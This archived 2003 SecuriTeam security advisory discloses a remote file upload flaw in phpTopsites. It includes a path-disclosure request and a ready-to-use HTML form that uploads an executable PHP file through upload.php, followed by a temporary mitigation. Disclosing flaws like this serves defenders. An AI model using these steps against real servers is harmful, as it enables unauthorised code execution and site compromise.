

[UNIX] phpTopsites Remote File Upload Vulnerability

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-01/0088.html>

From: support@securiteam.com

Date: 01/30/03

From: support@securiteam.com

To: list@securiteam.com

Date: 30 Jan 2003 19:24:01 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Beyond Security would like to welcome Tiscali World Online to our service provider team.

For more info on their service offering IP-Secure, please visit http://www.worldonline.co.za/services/work_ip.asp

phpTopsites Remote File Upload Vulnerability

SUMMARY

<<http://destiney.com/2003/phptopsites/>> phpTopsites is a Server Side Script written in PHP that allows one to run a very efficient "Topsites" as your own hit gathering web site. A "Topsite" can stand to gather many hits if used effectively. phpTopsites uses MySQL for it's Database Engine. MySQL is quickly becoming the most popular and most powerful database entity in use. A vulnerability in the product allows remote attackers to upload arbitrary files and then cause them to execute, causing execution of arbitrary commands.

DETAILS

In the root directory of phpTopsites, there is a file called upload.php. This file is supposed to be for the administrator's usage, i.e. to upload banners to the server. By doing the following, an attacker may upload remote arbitrary files to the server and gain web server permissions to the server.

First of all the attacker needs to find the website's path, so he/she calls create.php with variable Category set to '. This usually returns a PHP error disclosing the path:

Securiteam: [UNIX] phpTopsites Remote File Upload Vulnerability

[http://victim/phpTopsites/create.php?Category='](http://victim/phpTopsites/create.php?Category=)

Should cause:

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/website/public_html/phpTopsites/out.php on line 19

From here, the attacker may begin the upload process by creating the following html file and running it:

```
< form method="post" enctype="multipart/form-data"
action="http://victim/phpTopsites/upload.php">
< input name="banner" type="file">
< input type="submit" name="submit" value="Send File">
< input type=hidden name="banner_path"
value="/home/website/public_html/phpTopsites">
< input type=hidden name="ID" value="hacked">
< input type=hidden name="upload" value="w00t">
< input type=hidden name="filetype" value="php">
< /form>
```

Solution:

Please check the vendor's website for new patches. As a temporary solution, rename upload.php to upload.php.bak

ADDITIONAL INFORMATION

The information has been provided by <mailto:mindwarper@hush.com>
Mindwarper.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.